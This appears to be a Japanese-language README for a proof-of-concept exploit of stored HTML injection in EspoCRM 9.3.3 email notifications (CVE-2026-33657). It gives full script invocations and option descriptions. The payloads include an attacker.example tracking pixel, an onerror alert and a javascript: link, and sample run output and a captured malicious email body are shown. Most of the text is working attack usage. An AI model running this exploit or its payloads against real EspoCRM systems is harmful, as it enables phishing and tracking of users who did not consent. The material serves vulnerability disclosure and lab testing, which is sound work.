
EspoCRM 9.3.3 - メール通知における保存型HTMLインジェクション
EspoCRM 9.3.3のメール通知における保存型HTMLインジェクションの認証済み概念実証。
EspoCRM 9.3.3は、ストリームノート通知メールをレンダリングする際に、ノート本文をMarkdownで変換し、その結果のHTMLをトリプルブレース({{{post}}})でメールテンプレートに挿入します。ストリーム投稿を作成して通知をトリガーできる認証済みユーザーは、後で生成されるメール本文にレンダリングされる攻撃者制御のHTMLを保存できます。
このエクスプロイトは、攻撃者が制御するリモート部分のフローを実行します:
/api/v1/App/user を使用してバージョンをフィンガープリントします。Note を作成します。--mention または --target-user-id を使用して通知ターゲットをキューに入れます。メール配信は、EspoCRMの通常の SendEmailNotifications ジョブまたはcronがキューに入れられた通知を処理するときに発生します。
requestsNote レコードを作成する権限--mention <username>、または--target-user-id <id>依存関係のインストール:
python3 -m pip install requests
推奨されるメンションベースのパス:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
カスタムトラッキングURLを使用:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
完全にカスタムなHTMLペイロードを使用:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
メンションではなく特定のユーザーIDをターゲットにする:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
ノートを作成せずにフィンガープリントのみ:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url EspoCRMのベースURL
-U, --username EspoCRMのユーザー名
-P, --password EspoCRMのパスワード
--mention メンションするユーザー名(@なし)
--target-user-id ターゲット指定ストリーム投稿通知用のユーザーID
--target-user-name --target-user-id の表示名
--payload Noteに保存する生のHTMLペイロード
--tracking-url デフォルトペイロードで使用されるトラッキングピクセルURL
--link-url デフォルトペイロードで使用されるリンクURL
--marker ペイロードの前に付加されるマーカーテキスト
--detect-only バージョンのフィンガープリントのみ。Noteは作成しない
--skip-version-check エクスプロイト前に /api/v1/App/user をスキップ
--force バージョンフィンガープリントが9.3.3でなくても続行
--insecure TLS証明書の検証を無効化
成功した実行では、悪意のあるノートが作成され、通知ターゲットが確認されます:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
脆弱なインスタンスでは、生成されたHTMLメール本文はインジェクションされたHTMLを保持します。ラボでのキャプチャは次のようになります:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
ローカルのEspoCRMラボで、エクスプロイト実行後に通知ジョブをトリガーします:
sudo -u www-data php command.php run-job SendEmailNotifications
結果のメール本文には、text/html 部分にインジェクションされたHTMLが含まれている必要があります。
@@version を報告する場合、ターゲットはソースツリービルドである可能性があります。基盤となるコードが依然として脆弱な9.3.3タグである可能性があるため、スクリプトは続行します。--mention が解析されたメンションを生成しない場合は、攻撃者の messagePermission と mentionPermission を確認し、ターゲットのユーザー名が存在して通知を受信できることを確認してください。